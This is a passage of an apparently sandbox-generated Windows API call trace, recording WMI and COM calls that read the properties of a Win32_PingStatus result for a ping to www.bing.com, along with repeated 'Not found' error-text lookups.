(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.300] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.300] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0140.301] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0140.301] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.301] IWbemClassObject:Get (in: This=0x5ccc608, wszName="WriteErrorStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885374*=0, plFlavor=0x2885378*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885374*=0, plFlavor=0x2885378*=0) returned 0x80041002 [0140.301] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0140.302] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d099e0) returned 0x0 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0140.303] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d099e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d099f0) returned 0x0 [0140.303] WbemStatusCodeText:IUnknown:Release (This=0x5d099e0) returned 0x0 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d099f0) returned 0x0 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0140.303] WbemStatusCodeText:IUnknown:AddRef (This=0x5d099f0) returned 0x3 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0140.303] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0140.303] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0140.304] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0140.304] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0140.304] WbemStatusCodeText:IUnknown:Release (This=0x5d099f0) returned 0x2 [0140.304] WbemStatusCodeText:IUnknown:Release (This=0x5d099f0) returned 0x1 [0140.304] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.304] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0140.304] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099f0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d099f0) returned 0x0 [0140.304] WbemStatusCodeText:IUnknown:AddRef (This=0x5d099f0) returned 0x3 [0140.304] WbemStatusCodeText:IUnknown:Release (This=0x5d099f0) returned 0x2 [0140.304] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d099f0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0140.304] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.306] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.306] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.306] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.306] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.306] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0140.306] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.306] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.306] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0140.306] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.306] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.306] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.306] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.307] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.307] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.307] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.307] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.307] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.307] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.307] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.307] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.307] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.307] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.307] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.307] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.307] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.307] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.307] SysStringByteLen (bstr="__PATH") returned 0xc [0140.307] SysStringByteLen (bstr="__PATH") returned 0xc [0140.307] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885754*=0, plFlavor=0x2885758*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2885754*=3, plFlavor=0x2885758*=64) returned 0x0 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885788*=0, plFlavor=0x288578c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2885788*=8, plFlavor=0x288578c*=64) returned 0x0 [0140.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28857e0*=0, plFlavor=0x28857e4*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28857e0*=8, plFlavor=0x28857e4*=64) returned 0x0 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885808*=0, plFlavor=0x288580c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2885808*=8, plFlavor=0x288580c*=64) returned 0x0 [0140.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.308] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885860*=0, plFlavor=0x2885864*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2885860*=8, plFlavor=0x2885864*=64) returned 0x0 [0140.308] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.308] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885a38*=0, plFlavor=0x2885a3c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2885a38*=3, plFlavor=0x2885a3c*=64) returned 0x0 [0140.308] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885a6c*=0, plFlavor=0x2885a70*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2885a6c*=8200, plFlavor=0x2885a70*=64) returned 0x0 [0140.309] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885aa0*=0, plFlavor=0x2885aa4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2885aa0*=8, plFlavor=0x2885aa4*=64) returned 0x0 [0140.309] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.309] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.309] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885aec*=0, plFlavor=0x2885af0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2885aec*=8, plFlavor=0x2885af0*=64) returned 0x0 [0140.309] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.309] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.309] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885b38*=0, plFlavor=0x2885b3c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2885b38*=8, plFlavor=0x2885b3c*=64) returned 0x0 [0140.309] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.309] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.309] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0140.309] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0140.309] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.309] IWbemClassObject:Get (in: This=0x5ccc608, wszName="WriteWarningStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885d6c*=0, plFlavor=0x2885d70*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2885d6c*=0, plFlavor=0x2885d70*=0) returned 0x80041002 [0140.309] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0140.311] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d099e0) returned 0x0 [0140.311] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d099e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0140.311] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d099e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d09a00) returned 0x0 [0140.311] WbemStatusCodeText:IUnknown:Release (This=0x5d099e0) returned 0x0 [0140.311] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d09a00) returned 0x0 [0140.311] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0140.312] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a00) returned 0x3 [0140.312] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0140.312] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0140.312] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0140.312] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0140.312] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0140.312] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0140.312] WbemStatusCodeText:IUnknown:Release (This=0x5d09a00) returned 0x2 [0140.312] WbemStatusCodeText:IUnknown:Release (This=0x5d09a00) returned 0x1 [0140.312] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0140.312] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0140.312] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09a00, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d09a00) returned 0x0 [0140.312] WbemStatusCodeText:IUnknown:AddRef (This=0x5d09a00) returned 0x3 [0140.312] WbemStatusCodeText:IUnknown:Release (This=0x5d09a00) returned 0x2 [0140.312] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d09a00, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0140.312] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.314] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.314] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.314] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0140.314] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0140.314] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.314] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0140.314] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.314] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.314] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0140.314] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.314] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.314] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.314] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.314] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.314] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.315] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.315] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.315] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.315] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.315] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.315] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.315] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.315] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.315] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.315] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.315] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.315] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.315] SysStringByteLen (bstr="__PATH") returned 0xc [0140.315] SysStringByteLen (bstr="__PATH") returned 0xc [0140.315] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x288614c*=0, plFlavor=0x2886150*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x288614c*=3, plFlavor=0x2886150*=64) returned 0x0 [0140.315] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2886180*=0, plFlavor=0x2886184*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2886180*=8, plFlavor=0x2886184*=64) returned 0x0 [0140.315] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.315] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.315] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28861d8*=0, plFlavor=0x28861dc*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 